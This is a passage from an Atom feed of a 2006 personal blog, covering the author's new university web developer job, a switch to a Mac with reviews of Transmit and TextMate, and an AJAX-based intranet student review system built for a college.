      <published>2006-12-14T14:53:00Z</published>
      <updated>2008-02-21T00:24:37Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>Here at the University of Kent all the students have access to this thing they call the Jobshop. When you register with them they send you emails about various jobs on and off campus that will fit in with a students timetable. Anyway about 4 weeks ago a new job posting became available. The job was web developer/programmer for the university IS Web Team. I looked at the requirements: XHTML, CSS, Javascript, PHP and MySQL knowledge. I thought fantastic... So i applied within the next few days.</p><p>About 4 days later i got an email saying could you come in for an interview and short test. The interview went well. I love the structure of the team and how they operate. I then took a short test confirming my knowledge of the required subjects.</p>

<p>10 more days later and i got an email saying I have the job. Fantastic! A chance to contribute to the online services available on campus. I go for my induction training session tomorrow morning, thoroughly look forward to it. A chance to meet the team in more detail, but from initial impressions in the interviewing stage they all seem like me - have a passion for Web. The future looks bright and i am looking forward to getting stuck into a project contributing my efforts.</p>

<p>I look forward to developing my career in a large organisation learning to deal with the constraints that come with working inside large organisations.</p>
      ]]></content>
    </entry>

    <entry>
      <title>Switched to Mac</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/switched_to_mac/" />
      <id>tag:rikkicarroll.com,2006:index.php/site/index/1.4</id>
      <published>2006-07-31T21:56:00Z</published>
      <updated>2008-02-21T00:24:15Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Apple"
        scheme="http://www.rikkicarroll.com/index.php/site/category/apple/"
        label="Apple" />
      <category term="Gadgets"
        scheme="http://www.rikkicarroll.com/index.php/site/category/gadgets/"
        label="Gadgets" />
      <content type="html"><![CDATA[
        <p>I've been somewhat busy over the last month. Fourteen of those days were spent in the 108 degrees Florida Sunshine. Ahhh....</p>

<p>I have also been busy 'switching'. Yes I have jumped from Windows to Mac OSX for my main platform. To be quite honest its not as hard to switch over as it may seem. Everything works pretty much the same as with Windows except it runs smoother and you don't get the OS fighting you. Instead the OS try to help you by staying out of your way. Its like the power of the Mac OS is there but its not in your face so to speak. You unravel as much as you want.</p><p>I'm running a 17 inch MacBook Pro with 2Gb of RAM installed. The thing runs like a dream, i can throw whatever i want at it and it will go right ahead and just do it, no complaints. While the cost of a Mac initially seems very expensive compared to a Windows PC its actually not. When i brought this mac it came bundled with a whole range of applications including: Photo Editing/Organising, Video Editing, DVD creation, Sound Track and Podcast making, Personal Website Creation amongst a whole array of other useful software. To buy all the equivalent software for a Windows PC with the same spec would easily shoot the price of the PC up and beyond the price of the Mac. However i was still missing 2 essential pieces of software if i was to successfully develop for the web on this new platform. I needed a FTP (File transfer Protocol) and text editing software that supported the many languages that i work in.</p>

<p>Transmit(<a href="http://www.panic.com">www.panic.com</a>) and TextMate to the rescue. I downloaded trial versions of these two pieces of software and within a few days i had purchased them. But why? Well... Transmit is a FTP application for the Mac only. Its a fantastic application from a company called Panic. It does exactly what its supposed to and the UI makes it really easy. It had one really nice feature that i just loved - tabbed FTP. You can connect to multiple FTPs and have each file listing in separate tabs. so if i want to jump from one project to another no need to disconnect and connect to another just hit the other tab. The application is priced at $29.95 which i thought was a bargain. With the excellent application that i cant see anything on Windows matching Panic just got themselves another customer.</p>

<p>Textmate (<a href="http://www.macromates.com">www.macromates.com</a>)... hmmm... How can i put this. This is the text editor. Its not a text editor but the text editor. This thing is the perfect example of a Mac application. It looks very simple and lightweight. It is. But underneath there is sooo much power. This application alone has boosted my productivity by 20%. It handles text like you never had imagined. One of my favourite features is column selections. Imagine all the text in your document being a spreadsheet with each character being a cell. You can drag and select columns of text. I've used this countless times to edit multiple lines of HTML all at once that have the same structure. Its only useful once you've used it. Its hard to grasp how useful it is without trying it. The application can also be highly customized whereby you can create custom actions and assign key combinations to them. This is something i did for about 2 days to help boost my productivity. Check the TextMate screencasts out at Macromates website or if you have a mac download it and try.</p>
      ]]></content>
    </entry>

    <entry>
      <title>ENSFC Student Review System</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/ensfc_student_review_system/" />
      <id>tag:rikkicarroll.com,2006:index.php/site/index/1.5</id>
      <published>2006-04-08T10:01:00Z</published>
      <updated>2008-02-21T00:25:43Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <h3>The Brief</h3>
<p>The college I <strike>currently attend</strike> previously attended approached me and asked if i could convert there paper based Student Review System to an web based system that sits on the intranet. They wanted to streamline the process, making it easier for teachers reducing paperwork down to a minimum.</p>

<h3>How the Paper system works</h3>
<p>The current paper system is very paper rich and takes quite a while to complete. The process is very inefficient creating lots of extra work that really should not be necessary. The administration staff will produce paper forms for teachers to fill in about each student in their classes. The forms then are filled out by the tutor and sent back to the administration staff. The administration staff then copy all of the data by hand into a computer database. The database is then mail merged into letters to be sent home to parents of the students.</p>
<h3>The New (more efficient) System</h3>
<p>With the new system each teacher simply visits a login screen on the intranet. They then push "log Me In". This automatically detects who they are based on authorization variables set by Microsoft Internet Information services within the college network. They are then presented with three columns. They simply select one of their classes. Then a student in that class. Then they fill in the review form and that student is done. They do it for every student they teach and they are done. The administration staff simply import a CSV file from an existing Microsoft Access database that hold students information to set the system up. This import is as simple as finding a file on you system by using a Browse HTML form field then submitting it the the web application. Once all reviews are done the administration staff simply click the "print summary sheets" button in there area and the application automatically generates the pages and prints them out ready to go home to the parents. The new system is ready to use for the next review in September. These reviews happen three times a year.</p>

<h3>Technicalities and System Architecture</h3>
<p>One problem I faced when building the system was the fact that the system looked fast to use but under the traditional web model would not feel fast. The traditional web architecture model of click a link to request a whole page would simply just download too much unnecessary data even if it was on a high speed intranet system. The system had to deal with up to 60 concurrent users effectively still feeling fast to use and intuitive. I had a development base knowing only Internet Explorer 6+ or Mozilla Firefox 1.0+ was going to be used to access the system. As these are both modern systems i could use the Javascript XMLHttpRequest (XHR) Object to request only data i needed from the server and not the whole page without a page reload. To many people this is known a Web 2.0 or AJAX (Asynchronous Javascript and XML). Using AJAX techniques proved to be very successful. The server load could be kept to a minimum to only dealing with minimum amounts of data and the user would get the data fast without entire page refreshes. Using AJAX techniques in web applications really do make you application so much better and the responsiveness feels more like a desktop application.<p>
      ]]></content>
    </entry>


</feed>